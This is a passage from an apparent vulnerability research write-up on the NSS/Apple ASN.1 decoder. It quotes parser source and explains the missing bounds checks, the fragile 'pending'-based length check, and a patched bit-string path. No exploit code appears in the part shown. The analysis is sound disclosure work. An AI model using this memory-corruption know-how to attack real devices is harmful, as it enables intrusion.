<p class="c6"><span class="c3"> </span><span class="c16">const</span><span class="c3"> </span><span class="c20">SecAsn1Template</span><span class="c3"> </span><span class="c1">*</span><span class="c3">theTemplate</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">void</span><span class="c3"> </span><span class="c1">*</span><span class="c3">dest</span><span class="c1">;</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> </span><span class="c16">struct</span><span class="c3"> sec_asn1d_state_struct </span><span class="c1">*</span><span class="c3">parent</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">struct</span><span class="c3"> sec_asn1d_state_struct </span><span class="c1">*</span><span class="c3">child</span><span class="c1">;</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> sec_asn1d_parse_place place</span><span class="c1">;</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> contents_length</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> pending</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> consumed</span><span class="c1">;</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">int</span><span class="c3"> depth</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">}</span><span class="c3"> sec_asn1d_state</span><span class="c1">;</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The main engine of the parsing state machine is the method </span><span class="c7">SEC_ASN1DecoderUpdate</span><span class="c9"> which takes a context object, raw input buffer and length:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.ca1f754aaf2b9b2a69a0b772c008c3066c24eed5"></a><a id="t.4"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c20">SECStatus</span></p>
<p class="c6"><span class="c3">SEC_ASN1DecoderUpdate </span><span class="c1">(</span><span class="c3">SEC_ASN1DecoderContext </span><span class="c1">*</span><span class="c3">cx</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">const</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">,</span><span class="c3"> size_t len</span><span class="c1">)</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The current state is stored in the context object's </span><span class="c7">current</span><span> field, and that current </span><span class="c7">state</span><span>'s </span><span class="c7">place</span><span class="c9"> field determines the current state which the parser is in. Those states are defined here:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.58b2c4a0a10300b6306e34913640a092d86c5d56"></a><a id="t.5"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c1">​​</span><span class="c16">typedef</span><span class="c3"> </span><span class="c16">enum</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> beforeIdentifier</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringIdentifier</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterIdentifier</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> beforeLength</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringLength</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterLength</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> beforeBitString</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringBitString</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringConstructedString</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringGroup</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringLeaf</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringSaveEncoding</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringSequence</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterConstructedString</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterGroup</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterExplicit</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterImplicit</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterInline</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterPointer</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterSaveEncoding</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> beforeEndOfContents</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringEndOfContents</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterEndOfContents</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> beforeChoice</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> duringChoice</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> afterChoice</span><span class="c1">,</span></p>
<p class="c6"><span class="c2"> notInUse</span></p>
<p class="c6"><span class="c1">}</span><span class="c3"> sec_asn1d_parse_place</span><span class="c1">;</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The state machine loop switches on the </span><span class="c7">place</span><span class="c9"> field to determine which method to call:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.34b38de34f5f395cb1366034a4fd68d5d626ae2c"></a><a id="t.6"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> </span><span class="c16">switch</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">place</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">case</span><span class="c3"> beforeIdentifier</span><span class="c1">:</span></p>
<p class="c6"><span class="c3"> consumed </span><span class="c1">=</span><span class="c3"> sec_asn1d_parse_identifier </span><span class="c1">(</span><span class="c3">state</span><span class="c1">,</span><span class="c3"> buf</span><span class="c1">,</span><span class="c3"> len</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> what </span><span class="c1">=</span><span class="c3"> SEC_ASN1_Identifier</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">break</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">case</span><span class="c3"> duringIdentifier</span><span class="c1">:</span></p>
<p class="c6"><span class="c3"> consumed </span><span class="c1">=</span><span class="c3"> sec_asn1d_parse_more_identifier </span><span class="c1">(</span><span class="c3">state</span><span class="c1">,</span><span class="c3"> buf</span><span class="c1">,</span><span class="c3"> len</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> what </span><span class="c1">=</span><span class="c3"> SEC_ASN1_Identifier</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">break</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">case</span><span class="c3"> afterIdentifier</span><span class="c1">:</span></p>
<p class="c6"><span class="c3"> sec_asn1d_confirm_identifier </span><span class="c1">(</span><span class="c3">state</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">break</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">...</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Each state method which could consume input is passed a pointer (</span><span class="c7">buf</span><span>) to the next unconsumed byte in the raw input buffer and a count of the remaining unconsumed bytes (</span><span class="c7">len</span><span class="c9">).</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>It's then up to each of those methods to return how much of the input they consumed, and signal any errors by updating the context object's </span><span class="c7">status</span><span class="c9"> field.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The parser can be recursive: a state can set its </span><span class="c7">->place</span><span class="c9"> field to a state which expects to handle a parsed child state and then allocate a new child state. For example when parsing an ASN.1 sequence:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.8eeaeea98c81e67701fd5ceeb50d55e628cd74e9"></a><a id="t.7"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> duringSequence</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state </span><span class="c1">=</span><span class="c3"> sec_asn1d_push_state </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">,</span><span class="c3"> state</span><span class="c1">-></span><span class="c3">theTemplate </span><span class="c1">+</span><span class="c3"> </span><span class="c11">1</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">,</span><span class="c3"> PR_TRUE</span><span class="c1">);</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The current state sets its own next state to </span><span class="c7">duringSequence</span><span> then calls </span><span class="c7">sec_asn1d_push_state</span><span> which allocates a new state object, with a new template and a copy of the parent's </span><span class="c7">dest</span><span class="c9"> field.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c7">sec_asn1d_push_state</span><span> updates the context's </span><span class="c7">current</span><span> field such that the next loop around </span><span class="c7">SEC_ASN1DecoderUpdate</span><span class="c9"> will see this child state as the current state:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.4abe94039e6236e075539145b72103a31c4c2c18"></a><a id="t.8"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3"> cx</span><span class="c1">-></span><span class="c3">current </span><span class="c1">=</span><span class="c3"> new_state</span><span class="c1">;</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Note that the initial value of the </span><span class="c7">place</span><span> field (which determines the current state) of the newly allocated child is determined by the template. The final state in the state machine path followed by that child will then be responsible for popping itself off the state stack such that the </span><span class="c7">duringSequence</span><span class="c9"> state can be reached by its parent to consume the results of the child.</span></p><h2 class="c32 c8 c15" id="h.wuusy9tj5c7g"><span class="c31 c28">Buffer management</span></h2>
<p class="c6 c8 c15"><span>The buffer management is where the NSS ASN.1 parser starts to get really mind bending. If you read through the code you will notice an extreme lack of bounds checks when the output buffers are being filled in - there basically are none. For example, </span><span class="c7">sec_asn1d_parse_leaf</span><span> which copies the raw encoded string bytes for example simply </span><span class="c7">memcpy'</span><span class="c9">s into the output buffer with no bounds checks that the length of the string matches the size of the buffer.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">Rather than using explicit bounds checks to ensure lengths are valid, the memory safety is instead supposed to be achieved by relying on the fact that decoding valid ASN.1 can never produce output which is larger than its input.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>That is, there are no forms of decompression or input expansion so any parsed output data must be equal to or shorter in length than the input which encoded it. NSS leverages this and over-allocates all output buffers to simply be as large as their inputs.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>For primitive strings this is quite simple: the length and input are provided so there's nothing really to </span><span>go that wrong</span><span class="c9">. But for constructed strings this gets a little fiddly...</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">One way to think of constructed strings is as trees of substrings, nested up to 32-levels deep. Here's an example:</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"></p>
<p class="c6 c8 c15"><span class="c9"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWnoJoAO5ls05zNgJGzqsN-UTCkUxRl-o1NzXip0CTwvdJOCTXWxYeXnoMWZ47Ndbk0T0AZTcfOhRCGFN8sVbag29apOW4fp-hbZ5RWUsmgdhjcNBhcqqox8S-mGrZL3Lu4nAwpMTJBeStprEvPyqPm7vH84d9IdTRReK-S72A3IGlAPZis6Oj90QS/s706/image3%20%281%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWnoJoAO5ls05zNgJGzqsN-UTCkUxRl-o1NzXip0CTwvdJOCTXWxYeXnoMWZ47Ndbk0T0AZTcfOhRCGFN8sVbag29apOW4fp-hbZ5RWUsmgdhjcNBhcqqox8S-mGrZL3Lu4nAwpMTJBeStprEvPyqPm7vH84d9IdTRReK-S72A3IGlAPZis6Oj90QS/s706/image3%20%281%29%281%29.png" border="0" alt="An outer constructed definite length string with three children: a primitive string "abc", a constructed indefinite length string and a primitive string "ghi". The constructed indefinite string has two children, a primitive string "def" and an end-of-contents marker." style="max-height: 750; max-width: 600px;" title="An outer constructed definite length string with three children: a primitive string "abc", a constructed indefinite length string and a primitive string "ghi". The constructed indefinite string has two children, a primitive string "def" and an end-of-contents marker." /></a></span></p>
<p class="c34 c8 c15"><span class="c27 c26">An outer constructed definite length string with three children: a primitive string "abc", a constructed indefinite length string and a primitive string "ghi". The constructed indefinite string has two children, a primitive string "def" and an end-of-contents marker.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>We start with a constructed definite length string. The string's length value </span><span class="c7">L</span><span class="c9"> is the complete size of the remaining input which makes up this string; that number of input bytes should be parsed as substrings and concatenated to form the parsed output.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>At this point the NSS ASN.1 string parser allocates the output buffer for the parsed output string using the length </span><span class="c7">L</span><span> of that first input string. This buffer is an over-allocated worst case. The part which makes it really fun though is that NSS allocates the output buffer then promptly throws away that length! This might not be so obvious from quickly glancing through the code though. The buffer which is allocated is stored as the </span><span class="c7">Data</span><span class="c9"> field of a buffer wrapper type:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.a656829ca34a4322a58a35aea96a9b25f2306e10"></a><a id="t.9"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">typedef</span><span class="c3"> </span><span class="c16">struct</span><span class="c3"> cssm_data </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> size_t </span><span class="c20">Length</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> uint8_t </span><span class="c1">*</span><span class="c3"> __nullable </span><span class="c20">Data</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">}</span><span class="c3"> </span><span class="c20">SecAsn1Item</span><span class="c1">,</span><span class="c3"> </span><span class="c20">SecAsn1Oid</span><span class="c1">;</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>(Recall that we passed in a pointer to a </span><span class="c7">SecAsn1Item</span><span> in the template; it's the </span><span class="c30">Data</span><span class="c9"> field of that which gets filled in with the allocated string buffer pointer here. This type is very slightly different between NSS and Apple's fork, but the difference doesn't matter here.)</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>That </span><span class="c7">Length</span><span> field is </span><span class="c17">not</span><span> the size of the allocated </span><span class="c7">Data</span><span> buffer. It's a (type-specific) count which determines how many bits or bytes of the buffer pointed to by </span><span class="c30">Data</span><span> are valid. I say type-specific because for bit-strings </span><span class="c7">Length</span><span> is stored in units of bits but for other strings it's in units of bytes. (</span><span class="c21"><a class="c241" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1245528">CVE-2016-1950</a></span><span class="c9"> was a bug in NSS where the code mixed up those units.)</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>Rather than storing the allocated buffer size along with the buffer pointer, each time a substring/child string is encountered the parser walks back up the stack of currently-being-parsed states to find the inner-most definite length string. </span><span>As it's walking up the states it examines each state to determine how much of its input it has consumed in order to be able to determine whether it's the case that the current to-be-parsed substring is indeed completely enclosed within the inner-most enclosing definite length string.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">If that sounds complicated, it is! The logic which does this is here, and it took me a good few days to pull it apart enough to figure out what this was doing:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.9b3aa6a323d6b6a86a105c4a1b098ad0fb513030"></a><a id="t.10"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c3">sec_asn1d_state </span><span class="c1">*</span><span class="c3">parent </span><span class="c1">=</span><span class="c3"> sec_asn1d_get_enclosing_construct</span><span class="c1">(</span><span class="c3">state</span><span class="c1">);</span></p>
<p class="c6"><span class="c16">while</span><span class="c3"> </span><span class="c1">(</span><span class="c3">parent </span><span class="c1">&&</span><span class="c3"> parent</span><span class="c1">-></span><span class="c3">indefinite</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> parent </span><span class="c1">=</span><span class="c3"> sec_asn1d_get_enclosing_construct</span><span class="c1">(</span><span class="c3">parent</span><span class="c1">);</span></p>
<p class="c6"><span class="c1">}</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> remaining </span><span class="c1">=</span><span class="c3"> parent</span><span class="c1">-></span><span class="c3">pending</span><span class="c1">;</span></p>
<p class="c6"><span class="c3">parent </span><span class="c1">=</span><span class="c3"> state</span><span class="c1">;</span></p>
<p class="c6"><span class="c16">do</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(!</span><span class="c3">sec_asn1d_check_and_subtract_length</span><span class="c1">(&</span><span class="c3">remaining</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> parent</span><span class="c1">-></span><span class="c3">consumed</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">)</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">||</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/* If parent->indefinite is true, parent->contents_length is</span></p>
<p class="c6"><span class="c23"> * zero and this is a no-op. */</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">!</span><span class="c3">sec_asn1d_check_and_subtract_length</span><span class="c1">(&</span><span class="c3">remaining</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> parent</span><span class="c1">-></span><span class="c3">contents_length</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">)</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">||</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/* If parent->indefinite is true, then ensure there is enough</span></p>
<p class="c6"><span class="c23"> * space for an EOC tag of 2 bytes. */</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">(</span><span class="c3"> parent</span><span class="c1">-></span><span class="c2">indefinite</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">&&</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">!</span><span class="c3">sec_asn1d_check_and_subtract_length</span><span class="c1">(&</span><span class="c3">remaining</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c11">2</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">)</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">)</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/* This element is larger than its enclosing element, which is</span></p>
<p class="c6"><span class="c23"> * invalid. */</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c1">}</span><span class="c3"> </span><span class="c16">while</span><span class="c3"> </span><span class="c1">((</span><span class="c3">parent </span><span class="c1">=</span><span class="c3"> sec_asn1d_get_enclosing_construct</span><span class="c1">(</span><span class="c3">parent</span><span class="c1">))</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">&&</span></p>
<p class="c6"><span class="c3"> parent</span><span class="c1">-></span><span class="c3">indefinite</span><span class="c1">);</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>It first walks up the state stack to find the innermost constructed definite state and uses its </span><span class="c7">state->pending</span><span> value as an upper bound. It then walks the state stack again and for each in-between state subtracts from that original value of </span><span class="c7">pending</span><span> how many bytes could have been consumed by those in between states. It's pretty clear that the </span><span class="c7">pending</span><span class="c9"> value is therefore vitally important; it's used to determine an upper bound so if we could mess with it this "bounds check" could go wrong.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">After figuring out that this was pretty clearly the only place where any kind of bounds checking takes place I looked back at the fix more closely.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>We know that </span><span class="c7">sec_asn1d_parse_bit_string</span><span class="c9"> is only the function which changed:</span></p>
<p class="c0 c15"><span class="c9"></span></p><a id="t.42f4c91c05b2a51603f4110e33201853c8d03da3"></a><a id="t.11"></a><table class="c25"><tbody><tr class="c18"><td class="c5" colspan="1" rowspan="1">
<p class="c6"><span class="c16">static</span><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span></p>
<p class="c6"><span class="c3">sec_asn1d_parse_bit_string </span><span class="c1">(</span><span class="c3">sec_asn1d_state </span><span class="c1">*</span><span class="c3">state</span><span class="c1">,</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">const</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">,</span><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">long</span><span class="c3"> len</span><span class="c1">)</span></p>
<p class="c6"><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">char</span><span class="c3"> </span><span class="c16">byte</span><span class="c1">;</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> </span><span class="c23">/*PORT_Assert (state->pending > 0); */</span></p>
<p class="c6"><span class="c3"> PORT_Assert </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">==</span><span class="c3"> beforeBitString</span><span class="c1">);</span></p>
<p class="c6 c14"><span class="c2"></span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">((</span><span class="c3">state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1 c12">||</span><span class="c3 c12"> </span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">contents_length </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">)</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest </span><span class="c1">!=</span><span class="c3"> NULL</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> </span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*</span><span class="c3">item </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c20">SecAsn1Item</span><span class="c3"> </span><span class="c1">*)(</span><span class="c3">state</span><span class="c1">-></span><span class="c3">dest</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Data</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> NULL</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> item</span><span class="c1">-></span><span class="c20">Length</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> beforeEndOfContents</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c16 c12">if</span><span class="c1 c12">(</span><span class="c3 c12">state</span><span class="c1 c12">-></span><span class="c3 c12">contents_length </span><span class="c1 c12">==</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">)</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c23 c12">/* skip over (unused) remainder byte */</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c12 c16">return</span><span class="c3 c12"> </span><span class="c11 c12">1</span><span class="c1 c12">;</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c16 c12">else</span><span class="c3 c12"> </span><span class="c1 c12">{</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c16 c12">return</span><span class="c3 c12"> </span><span class="c11 c12">0</span><span class="c1 c12">;</span></p>
<p class="c6"><span class="c3 c12"> </span><span class="c1 c12">}</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c3">len </span><span class="c1">==</span><span class="c3"> </span><span class="c11">0</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> needBytes</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> </span><span class="c16">byte</span><span class="c3"> </span><span class="c1">=</span><span class="c3"> </span><span class="c1">(</span><span class="c16">unsigned</span><span class="c3"> </span><span class="c16">char</span><span class="c1">)</span><span class="c3"> </span><span class="c1">*</span><span class="c3">buf</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">if</span><span class="c3"> </span><span class="c1">(</span><span class="c16">byte</span><span class="c3"> </span><span class="c1">></span><span class="c3"> </span><span class="c11">7</span><span class="c1">)</span><span class="c3"> </span><span class="c1">{</span></p>
<p class="c6"><span class="c3"> dprintf</span><span class="c1">(</span><span class="c22">"decodeError: parse_bit_string remainder oflow\n"</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> PORT_SetError </span><span class="c1">(</span><span class="c3">SEC_ERROR_BAD_DER</span><span class="c1">);</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">top</span><span class="c1">-></span><span class="c3">status </span><span class="c1">=</span><span class="c3"> decodeError</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">0</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> </span><span class="c1">}</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">bit_string_unused_bits </span><span class="c1">=</span><span class="c3"> </span><span class="c16">byte</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">place </span><span class="c1">=</span><span class="c3"> duringBitString</span><span class="c1">;</span></p>
<p class="c6"><span class="c3"> state</span><span class="c1">-></span><span class="c3">pending </span><span class="c1">-=</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6"><span class="c2"> </span></p>
<p class="c6"><span class="c3"> </span><span class="c16">return</span><span class="c3"> </span><span class="c11">1</span><span class="c1">;</span></p>
<p class="c6"><span class="c1">}</span></p></td></tr></tbody></table>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>The highlighted region of the function are the characters which were removed by the patch. This function is meant to return the number of input bytes (pointed to by </span><span class="c7">buf</span><span>) which it consumed and my initial hunch was to notice that the patch removed a path through this function where you could get the count of input bytes consumed and </span><span class="c30">pending</span><span> out-of-sync. It should be the case that when they return 1 in the removed code they also decrement </span><span class="c30">state->pending</span><span class="c9">, as they do in the other place where this function returns 1.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">I spent quite a while trying to figure out how you could actually turn that into something useful but in the end I don't think you can.</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span class="c9">So what else is going on here?</span></p>
<p class="c0 c15"><span class="c9"></span></p>
<p class="c6 c8 c15"><span>This state is reached with </span><span class="c7">buf</span><span> pointing to the first byte after the length value of a primitive bitstring. </span><span class="c7">state->contents_length</span><span> is the value of that parsed length. Bitstrings, as discussed earlier, are a unique ASN.1 string type in that they have an extra meta-data byte at the beginning (the unused-bits count byte.) It's perfectly fine to have a definite zero-length string - indeed that's (sort-of) handled earlier than this in the </span><span class="c7">prepareForContents</span><span> state, which short-circuits straight to </span><span class="c7">afterEndOfContents</span><span class="c9">:</span></p>
